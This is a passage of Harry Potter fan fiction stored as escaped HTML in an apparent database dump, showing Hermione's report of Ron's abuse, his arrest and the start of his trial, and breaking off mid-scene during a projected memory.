Great Hall, &#8220;The portraits all around this place said that Hermione is having hot chocolate in the kitchens.&#8221; Harry heard and saw both Crabbe and Goyle sighed with great relief.</p>\n\n<p>&#8220;Well let&#8217;s go see what happened with her then,&#8221; Goyle suggested which was what Harry was going to do that anyway. And the three of them headed down to the kitchens.</p>\n\n<p>Lavender took a sip from her mug, &#8220;I really don&#8217;t know what happened, he just well&#8230;snapped.&#8221;</p>\n\n<p>Hermione out of habit now continued to look down at the table, &#8220;He snaps a lot.&#8221;</p>\n\n<p>&#8220;I can&#8217;t imagine living through what you did,&#8221; Lavender reached up and touched her own cheek, cringing a bit.</p>\n\n<p>&#8220;Many times I&#8217;ve thought if I just listened and did whatever he said he would stop. But no.&#8221; Hermione shook her head, &#8220;Everything I had done just wasn&#8217;t good enough.&#8221;</p>\n\n<p>Lavender nodded and stared into her almost empty mug. &quot;I just wish I knew what to say,&quot; she mumbled, pushing a lock of hair off her forehead. &quot;You\'re so strong, Hermione.&quot;</p>\n\n<p>&quot;Strong, me? You must be joking. What makes you say something like that?&quot; She drained her mug, tasting the sweet chocolate glide down her throat</p>\n\n<p>&quot;No one ever knew.&quot; Lavender burst out. &quot;On the surface, you and Ron were the picture perfect couple to everyone... well everyone except me, I knew you two were having troubles but I never thought it ran this deep.&quot; </p>\n\n<p>&quot;I fear my own shadow; this has been going on for a very long time. I\'m just not worthy of life, I understand that now. I\'ve come to accept it. What wrong thing could you have possibly done for him to give you punishment?&quot;</p>\n\n<p>&quot;I was just trying to help him.&quot; Lavender said miserably, once again touching the mark on her face. &quot;He was so angry and I thought that I could help calm him down.&quot;</p>\n\n<p>&quot;I knew about you two, being together. You\'re ten times better than I am and you&#8217;re a pureblood, not a nasty little piece of trash Mudblood like me. I don\'t know why he would keep me around when he had you.&quot; She squeezed the mug tightly in her hand that the force shattered it, ceramic shards went everywhere. &quot;Damn it, why didn\'t he just kill me! WHY?! Why did I have to suffer, what did I do wrong! What?!&quot; She slammed her fists down on the table.</p>\n\n<p>Lavender jumped, looking stricken at Hermione\'s outburst. &quot;Hermione don\'t say that!&quot; She placed a trembling hand on the other girl\'s shoulder. &quot;You\'re not a Mudblood, only really derogatory people use that term.&quot; she sat down when Hermione didn\'t move or shout at her to get away. &quot;No one deserves what you have been going through, NO one.&quot;</p>\n\n<p>&quot;Lavender, I... just... don\'t know what to think.&quot; Hermione looked up at Lavender. &quot;You know, if this hadn\'t of happened to you, we wouldn\'t be sitting here right now. We\'d still be enemies.&quot;</p>\n\n<p>&quot;I know.&quot; Lavender was embarrassed. &quot;It makes me feel like the shallowest, most horrible person alive.&quot; She could feel tears prick at her eyes. &quot;I\'m really no better than Ron.&quot;</p>\n\n<p>&quot;I talked to Headmaster Dumbledore; perhaps you should do the same.&quot; </p>\n\n<p>Lavender shrugged. &quot;Maybe,&quot; she answered. &quot;Somehow I don\'t feel like I\'ve earned a reprieve.&quot;</p>\n\n<p>&quot;Who ever gets even a taste of that should report it.&quot; Hermione sighed.</p>\n\n<p>\n\n</p>\n\n<p>&quot;Do you really think I should?&quot; Lavender asked tentatively. Seeing Hermione nod, she straightened up. &quot;All right then, I will.&quot;</p>\n\n<p>Hermione nodded, &quot;Good luck then&quot;</p>\n\n<p>&quot;Thanks.&quot; Lavender said. &quot;I think I\'ll go now, before I lose my nerve.&quot;</p>\n\n<p> Hermione tried to smile, to give her a little more courage but she just couldn\'t do it. </p>\n\n<p>The house elves immediately went to pick up the mess from the ceramic mug just as Harry, Crabbe and Goyle wandered into the kitchens.</p>\n\n<p>&#8220;Hermione!&#8221; Harry nearly shouted. &#8220;Are you all right, what happened with Professor Snape?&#8221;</p>\n\n<p>&#8220;He took to me to see Headmaster Dumbledore and I had to tell him everything.&#8221; Hermione started wringing her fingers together, &#8220;They probably have already contacted the ministry by now.&#8221;</p>\n\n<p>Harry stepped closer to her and sat down beside Hermione, &#8220;So they are going to arrest Weasley?&#8221;</p>\n\n<p>&#8220;Yes.&#8221; Hermione simply said, her bottom lip trembling. &#8220;I&#8217;m going to be in so much trouble.&#8221;</p>\n\n<p>Quickly, Harry wrapped his arms around Hermione pulling her into the safety and comfort of his embrace. &#8220;Why would you be in trouble?&#8221;</p>\n\n<p>&#8220;Once Ron&#8217;s parents find out what I have done&#8230;&#8221; She couldn&#8217;t even finish her thought out loud.</p>\n\n<p>&#8220;I don&#8217;t know how Weasley&#8217;s parents will react to this, but I would think they would be in your favor and try to get their son some mental help,&#8221; Harry let her lean into him and hold onto him as long as she needed or wanted.</p>\n\n<p>*****</p>\n\n<p>Professor McGonagall walked up and down the aisle watching students working hard on changing their animal of choice into a flower pot.</p>\n\n<p>Hermione had avoided looking at Ron she knew he was glaring at her, she could feel his angry intense stare upon the side of her face.</p>\n\n<p>&#8220;Just ignore him.&#8221; Harry quietly said noticing how uncomfortable she was; her stance was rigid and she held on to her wand a little too tightly. </p>\n\n<p>&#8220;I&#8217;m trying,&#8221; Hermione responded. </p>\n\n<p>A light cough from the doorway alerted Professor McGonagall, she looked up and noticed Mr. Filch the caretaker standing there looking pleased about something. </p>\n\n<p>The students heard whispering and they all glanced over at the door, seeing professor McGonagall nod in a very slow and worried fashion that led them to believe something was wrong. Professor McGonagall came back into the class room looking very distraught. </p>\n\n<p>&#8220;Mr. Weasley, will you please come with me.&#8221; It wasn&#8217;t a request.</p>\n\n<p>Ron looked at the professor curiously and gathered up his belongings and joined the professor at the door and out into the hall. There with Professor Snape and Mr. Filch stood two men in magical law enforcement uniforms.</p>\n\n<p>&#8220;Are you Mr. Ronald Weasley?&#8221; The taller of the law enforcement officers spoke up.</p>\n\n<p>The red head looked at the two men suspiciously, &#8220;Yes, why?&#8221;</p>\n\n<p>The more portly of the officers unrolled a scroll and cleared his throat to speak, &#8220;Mr. Ronald Weasley you are here by under arrest by the Department of Domestic Affairs.&#8221; He rolled the scroll back up.</p>\n\n<p>&#8220;What?!&#8221; Ron shouted out. &#8220;This is clearly a mistake, I haven&#8217;t done anything! You can&#8217;t do this!&#8221; He was completely enraged.</p>\n\n<p>&#8220;Come along Mr. Weasley, make this easy on yourself. Don&#8217;t try to resist its futile and you know it.&#8221; The tall officer replied.</p>\n\n<p>Ron glared back at the door way he knew who had done this, &#8220;Who filed the report, who did this?!&#8221;</p>\n\n<p>&#8220;We are not at liberty to say, now come along or do we have to use force.&#8221; The portly officer growled.</p>\n\n<p>&#8220;What ever the charges are they are false, I didn&#8217;t do a damn thing. My family will file a law suit against this false accusation.&#8221; Ron spat out.</p>\n\n<p>The officer rolled his eyes, &#8220;Yeah, yeah that&#8217;s what they all say.&#8221; He pulled out his wand, &#8220;I&#8217;ve had enough of your resisting.&#8221; He pointed his wand at Ron and said &#8220;Stupify.&#8221; </p>\n\n<p>Back in the class room, Hermione had sat down in her chair regretting what was going to happen next. Harry&#8217;s hand was placed over hers in a gesture of comfort.</p>\n\n<p>&#8220;Whatever happens now Hermione, I&#8217;ll be here for you.&#8221; He whispered, and Hermione nodded her head slowly.</p>\n\n<p>Professor McGonagall hurried back into her classroom, &#8220;All right students back to the lessons.&#8221; She said as if nothing out of the ordinary had gone on. She watched the students carefully and noticed that Hermione wasn&#8217;t concentrating and seemed distracted. <i>&#8216;Poor girl.&#8217;</i> McGonagall thought to herself, learning of what was happening from the other professors, she hoped all would end well.</p>\n\n<p>It was Friday the thirteenth, Dumbledore along with Professor Snape, Harry, and Lavender were waiting in an office while Hermione was speaking with someone in the Department of Domestic Affairs office. The trial of Ronald Weasley was going to take place in little less than an hour. They were just getting the last minute facts in order before they proceeded with their case.</p>\n\n<p>Hermione along with an appointed litigator a Mr. Charles Wallace emerged from the office looking very nervous, Harry was first to greet her. </p>\n\n<p>&#8220;How are you feeling Hermione,&#8221; He asked with a comforting smile.</p>\n\n<p>A large sigh escaped from her, &#8220;I&#8217;m very nervous, I don&#8217;t know if this is such a good idea anymore.&#8221; Hermione glanced down at the floor in extreme worry.</p>\n\n<p>&#8220;You can do it Miss Granger,&#8221; Snape said having listened to Harry and Hermione&#8217;s conversation. &#8220;We have complete faith in you, don&#8217;t let fear stop you from doing the right thing.&#8221;</p>\n\n<p>Hermione nodded, &#8220;It&#8217;s just so hard.&#8221; She looked up at the ceiling trying to keep herself from shedding a tear.</p>\n\n<p>Before anyone could say anything else the door to one of the courtrooms had opened and a government official stepped out, &#8220;Its time.&#8221; He said and disappeared back into the room.</p>\n\n<p>Charles smiled encouragingly at Hermione, &#8220;Are you ready?&#8221;</p>\n\n<p>&#8220;As ready as I&#8217;ll ever be,&#8221; Hermione replied in a quiet, unsure tone.</p>\n\n<p>Harry grabbed Hermione&#8217;s hand and gave it a gentle squeeze. Dumbledore and Snape went in first, followed by Lavender, Harry, Hermione and their lawyer. Charles escorted Hermione to a seat up in the front of the courtroom, she could feel the many gazes upon her back, she dare not look back at them for that would just make her turn and bolt from the room.</p>\n\n<p>Ginny and her parents were seated in the back, Ginny couldn&#8217;t understand why Hermione would make up such lies about her brother, she had never seen him so much as lay one finger on Hermione. Ginny hoped that Hermione was utterly humiliated for putting her family through this atrocity.</p>\n\n<p>Hermione could hear the whispering. She wasn&#8217;t sure she could take this. &#8220;Hermione,&#8221; she heard Charles say and she turned a bit facing him.</p>\n\n<p>&#8220;Ignore the whispering, ignore everything. Just focus on me, don&#8217;t let them get to you.&#8221; Charles replied confidently, &#8220;We have a strong case, and they are also going to use the Memory Beads as well. You&#8217;ll be fine and everyone will see and perhaps learn something from this.&#8221; </p>\n\n<p>&#8220;I&#8217;ll do what I can,&#8221; Hermione nearly whispered, and Charles patted her on the back.</p>\n\n<p>Off to the side a door opened and Ron along with two gentlemen emerged, they passed by the table Hermione and Charles was seated at. Ron stared bitterly at her, even though she wasn&#8217;t looking at him he knew she was afraid of him. That pleased him.</p>\n\n<p>Charles watched as Ron sat down with the two gentlemen. He knew those two well. They were the most sneaky, underhanded litigators in the business. But no matter what questions were asked and answered all would be revealed with the Memory Beads. Charles was confident; he was as cool as a cucumber. He just hoped all this didn&#8217;t blow up in his face. He looked over at Hermione; she was shaking in her chair. Her hair was pulled back in a respectable twist, she tried to look so good and innocent today. Charles hoped it was enough.</p>\n\n<p>=======</p>\n\n<p>Well that&#8217;s it for chapter 11, I had to break this up into two chapters since it was getting too long. Stay tuned for chapter 12 the very last chapter *sniffle* Remember to review ^.^ Thanks, Ryoko Blue</p>\n\n<p>\n\n</p> '),
	(24, 12, '\n\n\n\n<meta http-equiv="Content-Type" content="text/html; charset=windows-1252">\n\n<meta name="ProgId" content="Word.Document">\n\n<meta name="Generator" content="Microsoft Word 10">\n\n<meta name="Originator" content="Microsoft Word 10">\n\n<link rel="File-List" href="12.%20End%20Game_files/filelist.xml">\n\n<title>Hidden Beneath</title>\n\n<xml> MicrosoftInternetExplorer4 </xml><object classid="clsid:38481807-CA0E-42D2-BF39-B33AF135CC4D" id="ieooui"></object>\n\n<style> st1\\:*{behavior:url(#ieooui) } </style>\n\n<style>\n\n</style>\n\n<style> /* Style Definitions */ table.MsoNormalTable {mso-style-name:"Table Normal"; mso-tstyle-rowband-size:0; mso-tstyle-colband-size:0; mso-style-noshow:yes; mso-style-parent:""; mso-padding-alt:0in 5.4pt 0in 5.4pt; mso-para-margin:0in; mso-para-margin-bottom:.0001pt; mso-pagination:widow-orphan; font-size:10.0pt; font-family:"Times New Roman";} </style>\n\n\n\n<p>Disclaimer:&nbsp; Not mine, definitely not mine </p>\n\n<p>Hidden Beneath<br>\n Chapter 12&#8212;End Game</p>\n\n<p>Hermione stared up at the empty judges&#8217; bench; she wondered who was going to try the case. Her thoughts were short lived as the back door opened and three figures came through. </p>\n\n<p>Charles immediately knew that this wasn&#8217;t going to be an easy trial, for one of those figures happened to be Minister Fudge, also included in the judges was a strict small pudgy woman named Delores Umbridge and another woman Amelia Bones. None of them looked friendly; they all seemed irritated at having to be brought out on a Friday. The three took their seats.</p>\n\n<p>&#8220;Lets make this as quick as possible.&#8221; Minister Fudge stated, &#8220;Most of us have more important things to do.&#8221;</p>\n\n<p>&#8220;Now, now Cornelius, this is a serious matter and we&#8217;ll take as much time as necessary to see that this case is properly judged.&#8221; Bones replied.</p>\n\n<p>Umbridge looked at the two parties and she pointed at Charles. &#8220;You Mr. Wallace, begin.&#8221; She shuffled some papers behind the desk and leaned back in her comfortable, cushioned chair.</p>\n\n<p>Charles stood and straightened his robe, &#8220;My name is Charles Wallace, I am the litigator for the prosecution.&quot; </p>\n\n<p>&#8220;Mr. Wallace,&#8221; Fudge started. &#8220;Is this your first case?&#8221;</p>\n\n<p>&#8220;No.&#8221; Charles glared at Fudge, &#8220;it is indeed not, may I continue?&#8221;</p>\n\n<p>Fudge leaned back in his chair, &#8220;You may.&#8221;</p>\n\n<p>&#8220;Thank you,&#8221; Charles replied. &#8220;I represent Miss Granger, she claims that Mr. Weasley,&#8221; He pointed to Ron, &#8220;Has been for many years physically and mentally abusing Miss Granger.&#8221; </p>\n\n<p>The three judges didn&#8217;t even blink, they looked over at Ron and his lawyers. </p>\n\n<p>&#8220;Have you anything to add to that?&#8221; Fudge folded his hands on the desk.</p>\n\n<p>A tall, dark haired, bearded man stood, &#8220;I am Mr. Grover Roswell, one of the litigators for the Defense. I would like to state that what is being claimed here is a flat out lie and that this girl is just using this institution to get attention for herself. Our client has never laid so much as a pinky on her, and we are here to prove it.&#8221;</p>\n\n<p>&#8220;Sit down Mr. Roswell.&#8221; Bones looked at Charles, &#8220;You may bring forth your case.&#8221;</p>\n\n<p>&#8220;Thank you.&#8221; Charles cleared his throat, &#8220;Prosecution calls Miss Lavender Brown to the stand.&#8221;</p>\n\n<p>Lavender was a bit nervous and she left her seat and walked cautiously up to the witness stand. </p>\n\n<p>&#8220;Miss Brown, tell us in your own words what happened on the eve of January third.&#8221; Charles gave Lavender a reassuring wink.</p>\n\n<p>Lavender nodded, &#8220;Well I saw Ron walking in the hallway, he looked a little mad so I thought I would go and cheer him up. I was at the time secretly having a relationship with him.&#8221; Her cheeks tinged pink, &#8220;it had been going on for some time and I&#8217;m usually the one to bring him out of his sour mood. But this time it was different, I suppose I just said the wrong thing. I wasn&#8217;t really sure what happened because the next thing I knew Ron&#8230; well he....&#8221; Her voice started to quiver as she recalled the awful incident, &#8220;I think he hit me.&#8221;</p>\n\n<p>Charles glanced at the three judges, they looked to be making notes, he then moved over to Lavender &#8220;Thank you Miss Brown.&#8221;</p>\n\n<p>Fudge looked over at <st1:city><st1:place>Roswell</st1:place></st1:city>, &#8220;Would you like to question the witness?&#8221;</p>\n\n<p><st1:city><st1:place>Roswell</st1:place></st1:city> stood, &#8220;Absolutly.&#8221; <st1:city><st1:place>Roswell</st1:place></st1:city>, with a sweet smile approached the witness stand. &#8220;Miss Brown, are you sure of the events. Are you positive that Mr. Weasley hit you?&#8221;</p>\n\n<p>&#8220;Yes.&#8221; Lavender glared at <st1:city><st1:place>Roswell</st1:place></st1:city>, &#8220;Very sure.&#8221;</p>\n\n<p>&#8220;But you said you think he hit you, as if you weren&#8217;t really sure.&#8221; <st1:city><st1:place>Roswell</st1:place></st1:city> saw her squirm in her seat. &#8220;tell me Miss Brown, what kind of relationship do you and Mr. Weasley have?&#8221;</p>\n\n<p>Lavender took a breath, &#8220;We had a good relationship, he was kind and funny he never hurt me un&#8230;&#8221; She was rudely interrupted.</p>\n\n<p>&#8220;He never hurt you? But you claim he hit you.&#8221;</p>\n\n<p>&#8220;Ron did, he did hit me.&#8221;</p>\n\n<p><st1:city><st1:place>Roswell</st1:place></st1:city> paced, &#8220;That doesn&#8217;t make sense, first you say that he hit you, then you say he has never hurt you.&#8221;</p>\n\n<p>&#8220;You didn&#8217;t let &#8230;&#8221; Lavender was rudely interrupted again.</p>\n\n<p>&#8220;Thank you Miss Brown,&#8221; <st1:city><st1:place>Roswell</st1:place></st1:city> sat down and gave Ron a victorious pat on the shoulder.</p>\n\n<p>Lavender was really angry, that jerk just twisted everything around so that she looked bad. She stood up and nosily walked back to her seat.</p>\n\n<p>It was now <st1:city><st1:place>Roswell</st1:place></st1:city>&#8217;s turn he stood and approached the judges bench, &#8220;The defense would like to call Ronald Weasley to the stand.&#8221;</p>\n\n<p>Ron, who was very confident stood and made his way to the witness stand and took his seat. He looked so innocent that it made Harry sick, like he wanted to knock out that red head for a week.</p>\n\n<p>&#8220;Mr Weasley, tell us a little about yourself.&#8221;</p>\n\n<p>Ron smiled, &#8220;Well I go to Hogwarts and I get reasonably good grades, I was on the Gryffindor Quidditch team last year.&#8221;</p>\n\n<p>&#8220;Why aren&#8217;t you on it this year?&#8221; <st1:city><st1:place>Roswell</st1:place></st1:city> smiled.</p>\n\n<p>&#8220;I wanted to devote myself to my studies more, Quidditch is fun and all but I need to get a good career in motion, I was thinking about something in the ministry.&#8221; Ron grinned, &#8220;I&#8217;ve always been good in politics, I&#8217;ve got a good level head on my shoulders.&#8221;</p>\n\n<p>Roswell nodded, &#8220;Have you ever hit Miss Brown, or Miss Granger?&#8221;</p>\n\n<p>&#8220;No never,&#8221; Ron looked distressed.</p>\n\n<p>&#8220;Then why would they say something like that?&#8221; Roswell leaned against the witness stand, looking concerned.</p>\n\n<p>Ron sighed, &#8220;I&#8217;m not sure. Perhaps it&#8217;s the fact that Hermione and I, our relationship was on its way out, was ending and she just didn&#8217;t want to accept it. So she made up this lie. She&#8217;s very sneaky, I always thought that she belonged in Slytherin rather than in Gryffindor. As soon as a certain famous Harry Potter came to Hogwarts she was so drawn to him but I suppose she couldn&#8217;t let me be happy.&#8221; Ron shook his head disappointedly.</p>\n\n<p>&#8220;So you think this is just a revenge plan to get back at you because she didn&#8217;t want to let you go?&#8221;</p>\n\n<p>&#8220;Yes I do, why else would she make this all up?&#8221; Ron&#8217;s innocent tone wrung through everyone&#8217;s ears.</p>\n\n<p>Roswell turned to Charles and smirked then took his seat. Charles rolled his eyes and approached Ron.</p>\n\n<p>&#8220;Mr. Weasley have you ever hit Miss Brown, or Miss Granger?&#8221;</p>\n\n<p>&#8220;I thought I already answered that question. No I have not.&#8221; Ron replied.</p>\n\n<p>Charles glanced at the judges and then back at Ron, &#8220;You said that you didn&#8217;t want to be on the Qudditch team this year?&#8221;</p>\n\n<p>Ron nodded, &#8220;That&#8217;s right.&#8221;</p>\n\n<p>&#8220;Then if that&#8217;s so then why do I have this document,&#8221; Charles moved back to his table and picked up a sheet of paper, &#8220;Claiming that you tried out for the team and that you attempted to injure a player during tryouts, and not just any player but Miss Granger.&#8221; Charles placed the document up on the judges table.</p>\n\n<p>Ron&#8217;s blood boiled, he wondered where they got that. He had to keep calm. &#8220;I have no idea what you&#8217;re talking about. I don&#8217;t know where you got such a document but it&#8217;s a lie. Sure I did try out for the team, but I didn&#8217;t make it this year. And that&#8217;s okay.&#8221;</p>\n\n<p>&#8220;So why did you try and hurt Miss Granger during the tryouts? Was she better than you?&#8221; Charles asked.</p>\n\n<p>Ron laughed a little, &#8220;Hardly, and what happened was an accident.&#8221;</p>\n\n<p>&#8220;An accident, you deliberately cursed her broom so it would throw her off, there were many witnesses, including the judges who made this report.&#8221; Charles sat down on the edge of the table, looking right at Ron straight in his eyes.</p>\n\n<p>&#8220;That didn&#8217;t happen the way it looked,&#8221; Ron sighed. &#8220;She was going to fall off her broom so I acted quickly and I saved her by using my wand, it might have appeared that I was cursing her, but honest and for true I tried to help her. I would never hurt Hermione, she was special to me.&#8221; Ron looked at Hermione for the first time in years he saw her eyes narrow and glare at him. She was mad, squeezing her fist tight on top of the table.</p>\n\n<p>Charles was starting to get a little worried here, everything he asked made Ron look more like a saint. He had to find some way to turn this around. </p>\n\n<p>Ron was soon dismissed from the stand and the next witness to be called up was Harry. </p>\n\n<p>&#8220;Mr. Potter tell us how you came to know Miss Granger.&#8221; Charles smiled pleasantly at Harry.</p>\n\n<p>&#8220;Well it wasn&#8217;t easy, it was hard to get close to her. She wouldn&#8217;t even let anyone near her let alone talk to her. The first ideas in my head were that she thought she was better than everyone else and was a snot.&#8221; Harry paused a moment and glanced over at Hermione with an embarrassed smile. &#8220;That wasn&#8217;t it at all. It wasn&#8217;t too long after that I learned the truth, that she was afraid of her own shadow, that she has been abused for so long. I even witnessed it going on many times. After that Hermione and I managed to get closer and we built a good friendship and she managed to trust me.&#8221; </p>\n\n<p>&#8220;So not only do you believe Miss Granger, you&#8217;ve actually seen it happen?&#8221; Charles was hopeful with this witness.</p>\n\n<p>&#8220;Yes I even warned Weasley many times to stop but obviously he didn&#8217;t listen to me.&#8221; Harry glared at Ron, who simply smiled back like he knew something. Harry was so aggravated he wanted to rip Ron&#8217;s head off and shove it up where the sun doesn&#8217;t shine.</p>\n\n<p>&#8220;Thank you, Mr. Potter.&#8221; Charles went and sat down next to Hermione. &#8220;A snot huh?&#8221;</p>\n\n<p>Hermione smiled a little and shrugged, &#8220;I guess so.&#8221;</p>\n\n<p>Roswell approached Harry, &#8220;Are you the same Harry Potter that defeated the Dark Lord, the one who&#8217;s fame stretches far and wide?&#8221;</p>\n\n<p>Harry sighed, he absolutely appalled questions like these, who cares if he was the one. He just wanted to be a normal teenage wizard, was that too much to ask for? &#8220;Some may say that yes, I did kill Lord Voldemort.&#8221; He heard the people gasp and shrink back at hearing the Dark Lord&#8217;s name. &#8220;But only because I had too, not because it would gather me a famous name.&#8221;</p>\n\n<p>&#8220;But whether you want that famous name or not you are him; girls must throw themselves at your feet. You can be honest here Mr. Potter, they do. Don&#8217;t they? You are so famous that all you have to do look at the girl or girls and they would fall into your lap. Isn&#8217;t that right?&#8221;</p>\n\n<p>Harry shrugged, &#8220;I guess so.&#8221;</p>\n\n<p>&#8220;What kind of relationship do you have with Miss Granger?&#8221;</p>\n\n<p>&#8220;A good one I think, she trusts me, I trust her.&#8221; Harry leaned back in his chair.</p>\n\n<p>&#8220;So you two are pretty close?&#8221; Roswell leaned against the witness stand again, looking at Harry.</p>\n\n<p>Harry nodded, &#8220;Yes.&#8221;</p>\n\n<p>&#8220;Just how close have you and Miss Granger been?&#8221; He bent over the edge and looked right into Harry&#8217;s eyes.</p>\n\n<p>&#8220;Close enough.&#8221; Harry ground out, his eyes narrowing.</p>\n\n<p>&#8220;Have you and Miss Granger ever have sexual intercourse.&#8221; </p>\n\n<p>&#8220;That&#8217;s none of your business, I&#8217;m not going to answer something so personal!&#8221; Harry shouted, the room shook with the vibrations of his tone.</p>\n\n<p>Roswell looked at Fudge, &#8220;I have to know the answer to that question, I think I&#8217;m onto something.&#8221;</p>\n\n<p>Fudge looked at Harry, &#8220;Answer all the questions that are asked of you Mr. Potter.&#8221;</p>\n\n<p>Harry took a deep breath and looked at Roswell who was slightly smiling, He looked over at Hermione who&#8217;s face was bright red. The look in his eyes told her he was sorry, but he had no choice he had to answer the question. Looking back at Roswell with an angry glare he nodded, &#8220;Yes.&#8221;</p>\n\n<p>&#8220;AH! I see. Just what I had thought. Miss Granger, being as nieve as she is knew you were famous and she was obviously star struck, I think you took advantage of a good situation and got close to her, put her against her boyfriend and brainwashed her into thinking she was being abused by this fine upstanding young man. You concocted this whole plan just so you can have something that wasn&#8217;t yours.&#8221;</p>\n\n<p>&#8220;How dare you!&#8221; Harry said, &#8220;I would never do anything like that, I care about Hermione. I would never hurt her.&#8221;</p>\n\n<p>&#8220;And apparently neither would Mr. Weasley here. You both have pretty much the same story, you both care about Miss Granger and you both would never hurt her. But you did hurt her, you brainwashed her and that is beyond evil. No further questions.&#8221; Roswell smugly sat down in his chair next to and equally smug Ron.</p>\n\n<p><i>&#8216;Damn it!&#8217;</i> Charles thought to himself, this was just getting worse and worse for their side. Hopefully they can rely on the Memory Beads, if they decide to take that route. The minister might decide based on this testimony. Charles looked at Hermione, sure she could tell them that Ron beat her to a pulp every night but then that no good Roswell will end up making Hermione look like a fool, he just couldn&#8217;t do that to her she been through so much already. He had to motion for the Memory Beads now. Charles stood up. &#8220;Minister Fudge, respectable members of the council, I plea that we go forth with the memory beads, it will be the only way to get to the truth.&#8221;</p>\n\n<p>The three of them started discussing it quietly and as soon as all three nodded their heads, they turned back to face Charles.</p>\n\n<p>&#8220;All right Mr. Wallace.&#8221; Umbridge replied, &#8220;We will grant your request. After a brief fifteen minute recess.&#8221;</p>\n\n<p>Fudge banged down the gavel and the three of them left the courtroom.</p>\n\n<p>Charles sighed with relief and sat down, he looked over at Hermione, &#8220;How are you holding up?&#8221;</p>\n\n<p>&#8220;I have a bad feeling,&#8221; Hermione sighed.</p>\n\n<p>Lavender nodded, leaning over the railing, &#8220;Don&#8217;t you worry about a thing, the guilty will get their just deserts.&#8221;</p>\n\n<p>&#8220;I can&#8217;t believe you Hermione,&#8221; said an angry Ginny standing in the aisle glaring at them. &#8220;Making up all these lies about my brother like this and getting these three to help you. How low can you sink?&#8221; Her hands were placed on her hips.</p>\n\n<p>&#8220;I&#8217;m sorry you don&#8217;t believe me Ginny, but it&#8217;s true.&#8221; Hermione looked right into Ginny&#8217;s eyes. &#8220;I really wish you could believe me.&#8221;</p>\n\n<p>&#8220;You are an awful, awful person Hermione, I hope you rot in Hades for all these lies you&#8217;re spreading. Think of the damage you have inflicted upon our family. Our family who took you in when you had nothing, when your parents died we cared for you.&#8221;</p>\n\n<p>&#8220;You&#8217;re family didn&#8217;t care for me, all you needed was a slave and you got one.&#8221; Hermione was about to lose her temper.</p>\n\n<p>&#8220;I never treated you like that, I treated you like the sister I never had. How could you do this to me?&#8221; Ginny practically shouted, her eyes brimming with tears. &#8220;How could you.&#8221;</p>\n\n<p>&#8220;I&#8217;m sorry Ginny, I&#8217;m sorry that you have to go through this. But I am out of options I can&#8217;t keep on living like that, if I could do anything over again it would be to spare you from this.&#8221; Hermione&#8217;s head lowered.</p>\n\n<p>Ginny flipped her hair over her shoulder, &#8220;I&#8217;ll despise you for the rest of my life Hermione,&#8221; She turned around and moved back over to where her family was.</p>\n\n<p>Harry, who was standing next to Lavender put his hand gently on Hermione&#8217;s shoulder, &#8220;I&#8217;m sorry.&#8221;</p>\n\n<p>&#8220;For what?&#8221; Hermione looked at him.</p>\n\n<p>He shook his head, &#8220;for saying what I said up there, answering those questions.&#8221; Harry worried that he embarrassed her and made her feel bad for what he said.</p>\n\n<p>&#8220;Don&#8217;t worry about it Harry, you had to answer the questions truthfully. It&#8217;s all right, I understand.&#8221; She tried to smile to give him comfort for once.</p>\n\n<p>Harry returned the smile just as the door behind the judges bench opened once more and in walked Fudge, Umbridge, and Bones and a young woman holding a velvet lined box. They immediately took their seats as did everyone in the courtroom.</p>\n\n<p>&#8220;Hem, Hem.&#8221; Umbridge sounded a bit like she was clearing her throat as she got everyone&#8217;s attention. &#8220;Your request for Memory Beads, Mr. Wallace, since it was on your request, who&#8217;s memory do you want viewed?&#8221;</p>\n\n<p>Charles stood, &#8220;Mr. Ronald Weasley.&#8221; He stated firmly and then sat down again.</p>\n\n<p>&#8220;Very well,&#8221; Bones replied and looked at Ron. &#8220;Please come and sit up here.&#8221; She pointed to the chair which had wrist and ankle shackles that an officer had just placed down. A young woman holding the velvet box stood near by. Another officer pulled down a large white screen on the wall to the left.</p>\n\n<p>Ron was very confident and he smugly sat down in the chair facing the screen. The young woman bound Ron&#8217;s wrists and ankles into the cuffs. &#8220;What are these for?&#8221; Ron looked up at the woman and winked.</p>\n\n<p>The young woman rolled her eyes, &#8220;This is so you don&#8217;t jump up and try to pull the gem off your forehead. It&#8217;s the proper precautions, not to worry.&#8221; She opened the box and pulled out a flat, clear gem. She placed it on Ron&#8217;s forehead, it seemed to suction cup itself to his head. &#8220;You&#8217;ll feel a slight jolt and then tingle, but that&#8217;s only the gem working to search out your memories.&#8221; </p>\n\n<p>&#8220;What&#8217;s your name?&#8221; Ron flirted quietly.</p>\n\n<p>&#8220;Agatha,&#8221; She simply said pulling her wand out from within her robes. </p>\n\n<p>&#8220;Well Agatha, how about after we get through with this silly trail you and I go for something to eat.&#8221; He tried to give her his most attractive smile, but he looked kind of silly sitting there strapped to a chair with a gem on his forehead.</p>\n\n<p>Agatha shook her head, &#8220;I don&#8217;t think so, I don&#8217;t date criminals or children.&#8221; She noticed that Ron looked crushed, she almost felt sorry for him&#8230; almost. Agatha pointed her wand at the gem and muttered the charm to get it to work.</p>\n\n<p>Ron felt a tiny shock course through his body, up on the screen his memories were displayed for all to see. The entire room focused on the screen, watching.</p>\n\n<p><i>Ron eyed the two girls in front of him appreciatively, one was a blonde and the other a brunette, and both were looking at him with what seemed to be a large amount of interest in their eyes.</i></p>\n\n<p><i></i></p>\n\n<p><i>&quot;And so then after I got the Snitch, I single handedly caught the Chaser who had fallen off her broom.&quot; Ron held out his arm and flexed. &quot;With one hand!&quot;</i></p>\n\n<p><i>The blonde made a funny squeek of appreciation and the brunette giggled.</i></p>\n\n<p><i></i></p>\n\n<p><i>&quot;You are so brave.&quot; The brunette spoke with an itallian accent as she stared into his eyes adoringly</i></p>\n\n<p><i></i></p>\n\n<p><i>&quot;That\'s right, I am brave.&quot; Ron gave the brunette what he thought was a charming smile. &quot;Perhaps sometime this weekend you two would like to find out just how brave I am...&quot; his voice trailed off as something over the blonde\'s shoulder caught his eye.</i></p>\n\n<p><i></i></p>\n\n<p><i>Hermione was writing something on a piece of paper and handed it to Justin Finch Fletchley &quot;These are the answers to the questions I tutored you on, see how many you got right.&quot; </i></p>\n\n<p><i></i></p>\n\n<p><i>Ron felt his face go red as his hair as he saw Hermione give a piece of paper to the other boy. &quot;Excuse me,&quot; he muttered, shoving past the two girls. He stormed up to Hermione and grabbed her arm. &quot;What the hell do you think you\'re doing?&quot;</i></p>\n\n<p><i></i></p>\n\n<p><i>Hermione looked up at Ron, &quot;Just the answers he needed for the make believe test I gave him, we have OWLS you know, they are very hard. He wanted to be prepared.&quot;</i></p>\n\n<p><i></i></p>\n\n<p><i>Ron cast a nasty glare at Justin, who visibly shrank away. 